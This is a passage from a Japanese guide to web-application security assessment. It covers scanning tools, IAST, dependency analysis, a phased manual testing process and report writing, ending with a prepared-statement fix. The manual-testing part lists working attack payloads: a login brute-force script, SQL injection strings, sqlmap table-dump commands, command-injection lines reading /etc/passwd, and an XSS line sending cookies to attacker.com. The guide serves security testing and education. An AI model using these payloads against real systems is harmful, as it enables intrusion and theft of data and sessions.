&lt;pre&gt;# HTMLレポートの生成
zap-cli report -o report.html -f html

# JSONレポートの生成
zap-cli report -o report.json -f json&lt;/pre&gt;
&lt;h5&gt;Burp Suite&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;特徴&lt;/strong&gt;: プロフェッショナル向け、高度な機能&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エディション&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Community Edition&lt;/strong&gt;: 無料版（機能制限あり）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Professional&lt;/strong&gt;: 有料版（全機能）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enterprise&lt;/strong&gt;: エンタープライズ版&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;基本的な使い方&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;プロキシの設定&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;1. Burp Suiteを起動
2. Proxy &amp;gt; Options でプロキシ設定を確認（デフォルト: 127.0.0.1:8080）
3. ブラウザのプロキシ設定をBurp Suiteに合わせる
4. ブラウザのCA証明書をインストール（HTTPS通信のため）&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;スパイダー（自動探索）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;1. Targetタブでターゲットを選択
2. 右クリック &amp;gt; "Spider this host"
3. Spiderタブで進捗を確認&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;スキャナーの実行&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;1. Scannerタブを選択
2. "New Scan"をクリック
3. スキャン設定を選択
4. スキャンを開始&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;手動テスト&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;1. Proxy &amp;gt; HTTP historyでリクエストを確認
2. リクエストを右クリック &amp;gt; "Send to Repeater"
3. Repeaterタブでリクエストを編集・送信
4. レスポンスを分析&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;拡張機能（Extensibility）&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BApp Store&lt;/strong&gt;: コミュニティが作成した拡張機能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;カスタム拡張&lt;/strong&gt;: JavaやPythonで拡張機能を開発可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Acunetix&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;特徴&lt;/strong&gt;: 商用ツール、高い検出精度、包括的なレポート&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特徴&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自動スキャンと手動テストの両方に対応&lt;/li&gt;
&lt;li&gt;詳細な脆弱性レポート&lt;/li&gt;
&lt;li&gt;優先度付けとリスク評価&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;3. インタラクティブアプリケーションセキュリティテスト（IAST）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;実行中のアプリケーションを監視し、SASTとDASTの長所を組み合わせた手法です。&lt;/p&gt;
&lt;h4&gt;特徴&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;実行時の動作を詳細に分析&lt;/li&gt;
&lt;li&gt;誤検知が少ない&lt;/li&gt;
&lt;li&gt;コードの位置を正確に特定&lt;/li&gt;
&lt;li&gt;リアルタイムでの検出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デメリット&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;実装が複雑&lt;/li&gt;
&lt;li&gt;パフォーマンスへの影響&lt;/li&gt;
&lt;li&gt;ツールの選択肢が限られる&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;アプリケーションへの統合&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;エージェントをアプリケーションに組み込み&lt;/li&gt;
&lt;li&gt;実行時の動作を監視&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;リアルタイム分析&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;データフローの追跡&lt;/li&gt;
&lt;li&gt;脆弱性パターンの検出&lt;/li&gt;
&lt;li&gt;実行時の動作を記録&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;結果の即時報告&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;脆弱性を即座に検出&lt;/li&gt;
&lt;li&gt;コードの位置を特定&lt;/li&gt;
&lt;li&gt;詳細な情報を提供&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;主要ツール&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Contrast Security&lt;/strong&gt;: エンタープライズ向けIAST&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Veracode IAST&lt;/strong&gt;: VeracodeのIASTソリューション&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hdiv Detection&lt;/strong&gt;: オープンソースのIAST&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;4. ソフトウェア構成分析（SCA）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;使用しているライブラリやフレームワークの脆弱性を検出する手法です。&lt;/p&gt;
&lt;h4&gt;特徴&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;依存関係の脆弱性を包括的に検出&lt;/li&gt;
&lt;li&gt;既知の脆弱性（CVE）を確認&lt;/li&gt;
&lt;li&gt;ライセンスの確認も可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デメリット&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;コード自体の脆弱性は検出できない&lt;/li&gt;
&lt;li&gt;誤検知の可能性（実際には使用されていない依存関係）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;依存関係の特定&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;package.json、pom.xml、requirements.txtなどの解析&lt;/li&gt;
&lt;li&gt;依存関係のツリーを構築&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;脆弱性データベースとの照合&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;CVE（Common Vulnerabilities and Exposures）データベース&lt;/li&gt;
&lt;li&gt;セキュリティアドバイザリの確認&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;影響範囲の評価&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;実際に使用されているか確認&lt;/li&gt;
&lt;li&gt;影響範囲の評価&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;主要ツール&lt;/h4&gt;
&lt;h5&gt;OWASP Dependency-Check&lt;/h5&gt;
&lt;pre&gt;# インストール
npm install -g dependency-check

# スキャンの実行（Node.jsプロジェクト）
dependency-check --project "My Project" --scan ./package.json

# スキャンの実行（Javaプロジェクト）
dependency-check --project "My Project" --scan ./target/*.jar&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;出力形式&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTML、JSON、XML、CSVなど&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Snyk&lt;/h5&gt;
&lt;pre&gt;# インストール
npm install -g snyk

# 認証
snyk auth

# スキャンの実行
snyk test

# モニタリングの開始
snyk monitor&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;特徴&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;継続的なモニタリング&lt;/li&gt;
&lt;li&gt;CI/CD統合&lt;/li&gt;
&lt;li&gt;自動修正の提案&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;GitHub Dependabot&lt;/h5&gt;
&lt;pre&gt;# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;特徴&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GitHubと統合&lt;/li&gt;
&lt;li&gt;自動プルリクエストの生成&lt;/li&gt;
&lt;li&gt;無料（GitHubを使用している場合）&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;手動診断の詳細なプロセス&lt;/h2&gt;
&lt;h3&gt;フェーズ1: 情報収集（Reconnaissance）&lt;/h3&gt;
&lt;h4&gt;1.1 アプリケーションの機能把握&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目標&lt;/strong&gt;: アプリケーションがどのような機能を持っているか理解する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実施内容&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;アプリケーションの操作（マニュアルテスト）&lt;/li&gt;
&lt;li&gt;機能一覧の作成&lt;/li&gt;
&lt;li&gt;主要なエンドポイントの特定&lt;/li&gt;
&lt;li&gt;認証・認可の仕組みの理解&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;1.2 技術スタックの特定&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目標&lt;/strong&gt;: 使用している技術を特定する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実施内容&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;HTTPヘッダーの確認（Server、X-Powered-Byなど）&lt;/li&gt;
&lt;li&gt;エラーメッセージからの情報取得&lt;/li&gt;
&lt;li&gt;ファイル拡張子の確認（.php、.jsp、.aspxなど）&lt;/li&gt;
&lt;li&gt;クッキーの確認（セッション管理方式の特定）&lt;/li&gt;
&lt;li&gt;ソースコードの確認（可能な場合）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ツール&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;# HTTPヘッダーの確認
curl -I https://target-app.com

# より詳細な情報
curl -v https://target-app.com

# 技術スタックの特定
whatweb https://target-app.com&lt;/pre&gt;
&lt;h4&gt;1.3 ディレクトリ構造の把握&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目標&lt;/strong&gt;: アプリケーションの構造を理解する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実施内容&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;ディレクトリリスティングの確認&lt;/li&gt;
&lt;li&gt;バックアップファイルの探索（.bak、.oldなど）&lt;/li&gt;
&lt;li&gt;バージョン管理ディレクトリの探索（.git、.svnなど）&lt;/li&gt;
&lt;li&gt;設定ファイルの探索（.env、config.phpなど）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ツール&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;# ディレクトリ探索
dirb http://target-app.com

# または
gobuster dir -u http://target-app.com -w wordlist.txt

# バックアップファイルの探索
wfuzz -c -z file,wordlist.txt http://target-app.com/FUZZ.bak&lt;/pre&gt;

&lt;h3&gt;フェーズ2: 認証機能のテスト&lt;/h3&gt;
&lt;h4&gt;2.1 ログイン機能のテスト&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;テスト項目&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ブルートフォース攻撃&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;# ブルートフォース攻撃のテストスクリプト例
import requests

usernames = ['admin', 'user', 'test']
passwords = ['password', '123456', 'admin']

for username in usernames:
    for password in passwords:
        response = requests.post('http://target-app.com/login', 
                                data={'username': username, 
                                      'password': password})
        if 'success' in response.text:
            print(f"Found: {username}:{password}")&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;アカウントロックアウトの確認&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;連続したログイン失敗でアカウントがロックされるか&lt;/li&gt;
&lt;li&gt;ロックアウト時間は適切か&lt;/li&gt;
&lt;li&gt;ロックアウトがDoS攻撃に利用されないか&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;パスワードポリシーの確認&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;弱いパスワードが拒否されるか&lt;/li&gt;
&lt;li&gt;パスワードの複雑さ要件は適切か&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;2.2 パスワードリセット機能のテスト&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;テスト項目&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;トークンの推測可能性&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;# トークンの形式を確認
# 例: 数字のみ、短い、連番など
curl "http://target-app.com/reset?token=12345"
curl "http://target-app.com/reset?token=12346"&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;トークンの有効期限&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;トークンに有効期限があるか&lt;/li&gt;
&lt;li&gt;期限切れトークンが拒否されるか&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;メールアドレスの検証&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;存在しないメールアドレスでもリセットメールが送信されるか&lt;/li&gt;
&lt;li&gt;メールアドレスの列挙が可能か&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;2.3 セッション管理のテスト&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;テスト項目&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;セッションIDの推測可能性&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;# セッションIDの形式を確認
import requests

session_ids = []
for i in range(10):
    session = requests.Session()
    session.post('http://target-app.com/login', 
                 data={'username': 'test', 'password': 'test'})
    session_ids.append(session.cookies.get('sessionid'))

# セッションIDのパターンを分析
print(session_ids)&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;セッション固定化攻撃&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ログイン前後でセッションIDが変更されるか&lt;/li&gt;
&lt;li&gt;攻撃者が事前に取得したセッションIDを使用できるか&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;セッションタイムアウト&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;適切なタイムアウト時間が設定されているか&lt;/li&gt;
&lt;li&gt;タイムアウト後にセッションが無効化されるか&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;フェーズ3: 入力値のテスト&lt;/h3&gt;
&lt;h4&gt;3.1 SQLインジェクションのテスト&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;基本的なテスト&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;-- 基本的なテスト
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
admin'--
admin'/*
admin' OR '1'='1
admin' OR '1'='1'--
admin' OR '1'='1'/*
admin' OR '1'='1'#
' OR 1=1--
' OR 1=1#
' OR 1=1/*
') OR '1'='1--
') OR ('1'='1--

-- UNION句のテスト
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

-- 時間差攻撃のテスト
'; WAITFOR DELAY '00:00:05'--
'; SELECT SLEEP(5)--&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;SQLMapを使用した自動テスト&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;# 基本的なスキャン
sqlmap -u "http://target-app.com/page?id=1"

# 認証が必要な場合
sqlmap -u "http://target-app.com/page?id=1" --cookie="session=abc123"

# POSTリクエストの場合
sqlmap -u "http://target-app.com/login" --data="username=test&amp;amp;password=test"

# データベースの列挙
sqlmap -u "http://target-app.com/page?id=1" --dbs
sqlmap -u "http://target-app.com/page?id=1" -D database_name --tables
sqlmap -u "http://target-app.com/page?id=1" -D database_name -T table_name --columns
sqlmap -u "http://target-app.com/page?id=1" -D database_name -T table_name -C column_name --dump&lt;/pre&gt;
&lt;h4&gt;3.2 XSSのテスト&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;基本的なテスト&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;// 反射型XSSのテスト
&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;
&amp;lt;img src=x onerror=alert('XSS')&amp;gt;
&amp;lt;svg onload=alert('XSS')&amp;gt;
javascript:alert('XSS')

// 格納型XSSのテスト（コメント欄など）
&amp;lt;script&amp;gt;document.location='http://attacker.com/steal.php?cookie='+document.cookie&amp;lt;/script&amp;gt;

// DOMベースXSSのテスト
#&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;
#javascript:alert('XSS')&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Burp Suiteを使用したテスト&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Proxy &amp;gt; HTTP historyでフォーム入力を記録&lt;/li&gt;
&lt;li&gt;リクエストを右クリック &amp;gt; "Send to Intruder"&lt;/li&gt;
&lt;li&gt;Payload positionsで入力値を選択&lt;/li&gt;
&lt;li&gt;PayloadsタブでXSSペイロードを設定&lt;/li&gt;
&lt;li&gt;Attackを開始&lt;/li&gt;
&lt;li&gt;レスポンスでXSSが実行されているか確認&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;3.3 コマンドインジェクションのテスト&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;基本的なテスト&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;# Unix/Linux
; ls
| ls
|| ls
&amp;amp; ls
&amp;amp;&amp;amp; ls
`ls`
$(ls)
; cat /etc/passwd
| cat /etc/passwd

# Windows
&amp;amp; dir
| dir
|| dir
; dir
%0a dir&lt;/pre&gt;

&lt;h3&gt;フェーズ4: 認可のテスト&lt;/h3&gt;
&lt;h4&gt;4.1 権限昇格のテスト&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;水平権限昇格（Horizontal Privilege Escalation）&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ユーザーAでログイン&lt;/li&gt;
&lt;li&gt;ユーザーAのリソース（例: /profile/123）にアクセス&lt;/li&gt;
&lt;li&gt;URLのIDを変更（例: /profile/456）&lt;/li&gt;
&lt;li&gt;ユーザーBのリソースにアクセスできるか確認&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;垂直権限昇格（Vertical Privilege Escalation）&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一般ユーザーでログイン&lt;/li&gt;
&lt;li&gt;管理者機能のURLに直接アクセス（例: /admin/users）&lt;/li&gt;
&lt;li&gt;管理者機能にアクセスできるか確認&lt;/li&gt;
&lt;li&gt;管理者機能のリクエストを送信して動作するか確認&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;4.2 IDOR（Insecure Direct Object Reference）のテスト&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;テスト手順&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;認証されたユーザーとしてリソースにアクセス&lt;/li&gt;
&lt;li&gt;リソースIDを変更（例: /file?id=123 → /file?id=456）&lt;/li&gt;
&lt;li&gt;他のユーザーのリソースにアクセスできるか確認&lt;/li&gt;
&lt;li&gt;アクセス制御が実装されているか確認&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;フェーズ5: その他の機能のテスト&lt;/h3&gt;
&lt;h4&gt;5.1 ファイルアップロード機能のテスト&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;テスト項目&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;実行可能ファイルのアップロード&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;PHP、JSP、ASPなどのスクリプトファイル&lt;/li&gt;
&lt;li&gt;拡張子の偽装（malicious.php.jpg）&lt;/li&gt;
&lt;li&gt;マジックナンバーの偽装&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ファイルサイズの制限&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;過大なファイルのアップロード&lt;/li&gt;
&lt;li&gt;DoS攻撃の可能性&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ファイル名の検証&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;危険な文字（../、\など）の使用&lt;/li&gt;
&lt;li&gt;長すぎるファイル名&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;5.2 エラーハンドリングのテスト&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;テスト項目&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エラーメッセージの内容&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;詳細な情報が漏洩していないか&lt;/li&gt;
&lt;li&gt;スタックトレースが表示されていないか&lt;/li&gt;
&lt;li&gt;データベースエラーの詳細が表示されていないか&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エラーページのカスタマイズ&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;デフォルトのエラーページが使用されていないか&lt;/li&gt;
&lt;li&gt;バージョン情報が含まれていないか&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;診断レポートの作成&lt;/h2&gt;
&lt;h3&gt;レポートの構成&lt;/h3&gt;
&lt;h4&gt;1. エグゼクティブサマリー&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対象&lt;/strong&gt;: 経営層、プロジェクトマネージャー&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内容&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;診断の概要&lt;/li&gt;
&lt;li&gt;発見された脆弱性の統計&lt;/li&gt;
&lt;li&gt;リスク評価&lt;/li&gt;
&lt;li&gt;推奨事項&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. 詳細な脆弱性レポート&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;各脆弱性について&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;脆弱性の名称&lt;/li&gt;
&lt;li&gt;重大度（Critical、High、Medium、Low）&lt;/li&gt;
&lt;li&gt;影響範囲&lt;/li&gt;
&lt;li&gt;再現手順（ステップバイステップ）&lt;/li&gt;
&lt;li&gt;スクリーンショットやHTTPリクエスト/レスポンス&lt;/li&gt;
&lt;li&gt;対策方法&lt;/li&gt;
&lt;li&gt;参考資料&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. 技術的な詳細&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対象&lt;/strong&gt;: 開発者、セキュリティチーム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内容&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;技術的な説明&lt;/li&gt;
&lt;li&gt;コード例&lt;/li&gt;
&lt;li&gt;修正例&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;レポートのテンプレート例&lt;/h3&gt;
&lt;p&gt;レポートは以下のような構造で作成します:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. エグゼクティブサマリー&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;診断日: 2025年1月15日&lt;/li&gt;
&lt;li&gt;対象アプリケーション: https://example.com&lt;/li&gt;
&lt;li&gt;発見された脆弱性: 15件&lt;/li&gt;
&lt;li&gt;Critical: 2件&lt;/li&gt;
&lt;li&gt;High: 5件&lt;/li&gt;
&lt;li&gt;Medium: 6件&lt;/li&gt;
&lt;li&gt;Low: 2件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 脆弱性詳細&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例: [VULN-001] SQLインジェクション（Critical）&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;場所&lt;/strong&gt;: /search?q=&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;説明&lt;/strong&gt;: 検索機能でSQLインジェクションが可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影響&lt;/strong&gt;: データベース全体の情報漏洩&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再現手順&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;ブラウザで https://example.com/search?q=test にアクセス&lt;/li&gt;
&lt;li&gt;URLを https://example.com/search?q=test' OR '1'='1 に変更&lt;/li&gt;
&lt;li&gt;すべてのユーザー情報が表示される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;: プリペアドステートメントを使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修正例&lt;/strong&gt;（Java）:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;// 修正前
String query = "SELECT * FROM users WHERE name = '" + name + "'";

// 修正後
String query = "SELECT * FROM users WHERE name = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, name);&lt;/pre&gt;


&lt;h2&gt;診断のベストプラクティス&lt;/h2&gt;
&lt;h3&gt;1. 包括的なアプローチ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;複数の手法を組み合わせ&lt;/strong&gt;: SAST、DAST、手動テストを組み合わせる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;継続的な診断&lt;/strong&gt;: 開発ライフサイクル全体で実施&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定期的な診断&lt;/strong&gt;: 四半期ごと、または重要なリリース前に実施&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 優先順位の設定&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Critical&lt;/strong&gt;: 即座に対応が必要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;High&lt;/strong&gt;: できるだけ早く対応&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Medium&lt;/strong&gt;: 計画的な対応&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Low&lt;/strong&gt;: 改善の機会がある場合に対応&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 誤検知の管理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;検証&lt;/strong&gt;: 自動ツールの結果を必ず手動で検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文脈の考慮&lt;/strong&gt;: 実際の影響を評価&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レポート&lt;/strong&gt;: 誤検知も記録して、ツールの調整に活用&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. セキュリティ文化の構築&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;開発者教育&lt;/strong&gt;: セキュリティ意識の向上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コードレビュー&lt;/strong&gt;: セキュリティ観点のレビュー&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インシデント対応&lt;/strong&gt;: 発見された脆弱性からの学習&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;よくある課題と解決策&lt;/h2&gt;
&lt;h3&gt;課題1: 誤検知が多い&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;解決策&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ツールの設定を調整&lt;/li&gt;
&lt;li&gt;カスタムルールの作成&lt;/li&gt;
&lt;li&gt;手動での検証を徹底&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;課題2: 診断に時間がかかる&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;解決策&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自動化ツールの活用&lt;/li&gt;
&lt;li&gt;CI/CDパイプラインへの統合&lt;/li&gt;
&lt;li&gt;段階的な診断（重要機能から優先）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;課題3: 開発チームの抵抗&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;解決策&lt;/strong&gt;:&lt;/p&gt;
